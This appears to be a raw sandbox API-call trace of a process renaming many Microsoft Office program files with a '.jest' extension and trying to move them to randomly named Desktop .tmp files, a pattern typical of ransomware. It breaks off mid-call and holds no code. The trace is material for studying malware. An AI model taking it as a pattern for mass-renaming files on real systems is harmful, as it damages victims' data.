NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︑", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.612] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\PicturesToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\picturestooliconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\PicturesToolIconImages.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\picturestooliconimages.jpg.jest")) returned 1 [0170.614] VarBstrFromR4 (in: fltIn=0x47945a17, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.18") returned 0x0 [0170.615] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\PicturesToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\picturestooliconimages.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SijAf4suNL- 2KvF2RO8OJF1gl9bOGUc6WgNwm87WluvIVCDeyulx2GZs5EAY7o7WkLZx_VtL4Cmxs8BV1TczMN6e8v2JRmFjzub.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sijaf4sunl- 2kvf2ro8ojf1gl9boguc6wgnwm87wluvivcdeyulx2gzs5eay7o7wklzx_vtl4cmxs8bv1tczmn6e8v2jrmfjzub.tmp")) returned 0 [0170.615] GetLastError () returned 0x2 [0170.616] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="μ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.617] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.618] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPTIRMV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pptirmv.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPTIRMV.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pptirmv.xml.jest")) returned 1 [0170.621] VarBstrFromR4 (in: fltIn=0x47945a17, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.18") returned 0x0 [0170.622] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPTIRMV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pptirmv.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\L42dmB39mbpsRzvL4H56o73K-90gVa1AzNfdxdVZwfOkwqPeC7b0ch1zDgTuWL6co0_fCRGVcY2QMjtvs CgQfL_c41IOrH6IU6G.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l42dmb39mbpsrzvl4h56o73k-90gva1aznfdxdvzwfokwqpec7b0ch1zdgtuwl6co0_fcrgvcy2qmjtvs cgqfl_c41iorh6iu6g.tmp")) returned 0 [0170.622] GetLastError () returned 0x2 [0170.623] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="π\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.637] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱪ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.638] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Premium.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\premium.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Premium.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\premium.css.jest")) returned 1 [0170.662] VarBstrFromR4 (in: fltIn=0x47945a1d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.23") returned 0x0 [0170.665] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Premium.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\premium.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x2JnEIiglbMTP00EXUxPE5m85vHtP-w96Wi0 JTnCsla2JPGRhpFFwZ1mHONwjjCR2-eWrTJqUbFwJBZ1eu8joCxu34tcNCv4Dt4d.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\x2jneiiglbmtp00exuxpe5m85vhtp-w96wi0 jtncsla2jpgrhpffwz1mhonwjjcr2-ewrtjqubfwjbz1eu8jocxu34tcncv4dt4d.tmp")) returned 0 [0170.665] GetLastError () returned 0x2 [0170.669] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="\xfdd2", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.671] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projectstatusicons.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projectstatusicons.jpg.jest")) returned 1 [0170.676] VarBstrFromR4 (in: fltIn=0x47945a1f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.24") returned 0x0 [0170.677] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projectstatusicons.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8ZDbT3G4s3m6f_2HABPNCmUgOIKiq4 gpnmlUow299Lyg8dsQxRR5NUAGgTMgrYO7J4ch_QV-3ZHBmIuBFuQvYm0zVoLXxLej.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8zdbt3g4s3m6f_2habpncmugoikiq4 gpnmluow299lyg8dsqxrr5nuaggtmgryo7j4ch_qv-3zhbmiubfuqvym0zvolxxlej.tmp")) returned 0 [0170.678] GetLastError () returned 0x2 [0170.678] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="\xfdd2", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.680] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttaskicon.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttaskicon.jpg.jest")) returned 1 [0170.685] VarBstrFromR4 (in: fltIn=0x47945a1f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.24") returned 0x0 [0170.687] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttaskicon.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QkgeD7uwRPnGoTkzKw6mzaKg2Sx9PDhid9P6og68TkDkLTeHrqEQDqiTuXYZd25N9DEreUcRKqdTV7nCOcjZlKwvbmMNMelE8WN.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qkged7uwrpngotkzkw6mzakg2sx9pdhid9p6og68tkdkltehrqeqdqituxyzd25n9dereucrkqdtv7ncocjzlkwvbmmnmele8wn.tmp")) returned 0 [0170.687] GetLastError () returned 0x2 [0170.688] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="\xfdd2", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.690] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttoolseticonimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImages.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttoolseticonimages.jpg.jest")) returned 1 [0170.694] VarBstrFromR4 (in: fltIn=0x47945a21, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.26") returned 0x0 [0170.695] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttoolseticonimages.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\g_lJWSyv-CUsiwtr11V2yvRZjZ49Uo9Zf0os6q9BIypeuLz86E2YvYtHFgIoy MD9o B-ySqwAe-47CXzmbJTUF1LpA 6P6m4B4gV.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\g_ljwsyv-cusiwtr11v2yvrzjz49uo9zf0os6q9biypeulz86e2yvythfgioy md9o b-ysqwae-47cxzmbjtuf1lpa 6p6m4b4gv.tmp")) returned 0 [0170.695] GetLastError () returned 0x2 [0170.697] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="϶\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.698] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ϸ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.700] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︑", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.719] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\QuestionIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\questionicon.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\QuestionIcon.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\questionicon.jpg.jest")) returned 1 [0170.725] VarBstrFromR4 (in: fltIn=0x47945a25, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.29") returned 0x0 [0170.727] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\QuestionIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\questionicon.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9Tqyjiusgi0njNrP2gwGb1K2bobphlgEXPQvSt5XwHH8QZw2CfchmhTcd9ALVdG0BVyP UIldDd54pB8kyMjGjrCoj_ lz9e0KrW.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9tqyjiusgi0njnrp2gwgb1k2bobphlgexpqvst5xwhh8qzw2cfchmhtcd9alvdg0bvyp uilddd54pb8kymjgjrcoj_ lz9e0krw.tmp")) returned 0 [0170.727] GetLastError () returned 0x2 [0170.728] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ȕ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.731] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\RELAY.CER" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\servers\\relay.cer"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\RELAY.CER.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\servers\\relay.cer.jest")) returned 1 [0170.736] VarBstrFromR4 (in: fltIn=0x47945a27, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.3") returned 0x0 [0170.738] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\RELAY.CER" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\servers\\relay.cer"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LzW15bdrm8Ia_ymP6aSmYIMi KwISwQ3GxRMLGQMFc8UlpLKStitaGnw3LtbzPbQAtmyaY44jVheNSW8STeUCTY3veNBoSzSyXl.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lzw15bdrm8ia_ymp6asmyimi kwiswq3gxrmlgqmfc8ulplkstitagnw3ltbzpbqatmyay44jvhensw8steucty3venboszsyxl.tmp")) returned 0 [0170.738] GetLastError () returned 0x2 [0170.739] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.741] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\RESUME.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\resume.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\RESUME.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\resume.xml.jest")) returned 1 [0170.744] VarBstrFromR4 (in: fltIn=0x47945a27, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.3") returned 0x0 [0170.746] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\RESUME.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\resume.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\J_qyv9gpQnzBimzVyPcKsBYBHgJPRwnnUe3-XOluilLIuH4UzzsD6VfUJKIfxrQgJBgVZNirFHxvg90G2qkX-pMOP26_D7zWTQK9l.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\j_qyv9gpqnzbimzvypcksbybhgjprwnnue3-xoluilliuh4uzzsd6vfujkifxrqgjbgvznirfhxvg90g2qkx-pmop26_d7zwtqk9l.tmp")) returned 0 [0170.746] GetLastError () returned 0x2 [0170.747] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲓ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.749] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\ROGERS.COM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\rogers.com.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\ROGERS.COM.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\rogers.com.xml.jest")) returned 1 [0170.753] VarBstrFromR4 (in: fltIn=0x47945a29, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.32") returned 0x0 [0170.754] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\ROGERS.COM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\rogers.com.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7PYuixxbgW3pb09DvtKfuIbJgedcl1rv66Om9jHEUimKN3DEmLVCKSbaQND300Bi0Kqa4dUolIcChcJkoIb GfQ8DZFUr8mhXTmNv.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7pyuixxbgw3pb09dvtkfuibjgedcl1rv66om9jheuimkn3demlvcksbaqnd300bi0kqa4duolicchcjkoib gfq8dzfur8mhxtmnv.tmp")) returned 0 [0170.755] GetLastError () returned 0x2 [0170.758] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲓ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.760] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SBCGLOBAL.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\sbcglobal.net.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SBCGLOBAL.NET.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\sbcglobal.net.xml.jest")) returned 1 [0170.764] VarBstrFromR4 (in: fltIn=0x47945a29, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.32") returned 0x0 [0170.767] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SBCGLOBAL.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\sbcglobal.net.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qFOGm ObYEmWQlJ9wnIY99GRB6NsPOlhlMmDwiWltrrNcMtuPuQmTgwbE9ydLJL__ny9GRmsFzLtbo2xklr7KkC U6iSirx 8EhT.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qfogm obyemwqlj9wniy99grb6nspolhlmmdwiwltrrncmtupuqmtgwbe9ydljl__ny9grmsfzltbo2xklr7kkc u6isirx 8eht.tmp")) returned 0 [0170.767] GetLastError () returned 0x2 [0170.768] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︑", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.770] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared16x16Images.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared16x16images.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared16x16Images.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared16x16images.jpg.jest")) returned 1 [0170.774] VarBstrFromR4 (in: fltIn=0x47945a2b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.34") returned 0x0 [0170.776] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared16x16Images.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared16x16images.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oHZhzUNrrG7mR7wmuDFXiXAa6IkWwOyZcWranv7lkrz6wF5uRNgkj5jKZeB57tF4tf943gv_Z-CfHAcPzk0eXbu7HjAIHFg-IK5r.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ohzhzunrrg7mr7wmudfxixaa6ikwwoyzcwranv7lkrz6wf5urngkj5jkzeb57tf4tf943gv_z-cfhacpzk0exbu7hjaihfg-ik5r.tmp")) returned 0 [0170.776] GetLastError () returned 0x2 [0170.777] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︑", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.783] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared24x24Images.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared24x24images.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared24x24Images.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared24x24images.jpg.jest")) returned 1 [0170.787] VarBstrFromR4 (in: fltIn=0x47945a2d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.35") returned 0x0 [0170.790] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared24x24Images.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared24x24images.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f6tqJJrkWIWp0AEvpnZ-_eejDVPLfWTCl JJ3BPB6rTmDq3mQ27NiFS-5fa-u_9lv67YVQh fEQtlP7IVjlkRbx_Hb2VAu-PSdLw.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\f6tqjjrkwiwp0aevpnz-_eejdvplfwtcl jj3bpb6rtmdq3mq27nifs-5fa-u_9lv67yvqh feqtlp7ivjlkrbx_hb2vau-psdlw.tmp")) returned 0 [0170.790] GetLastError () returned 0x2 [0170.791] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="൱\x01", Attributes=0x40, SecurityDescriptor=0x0, 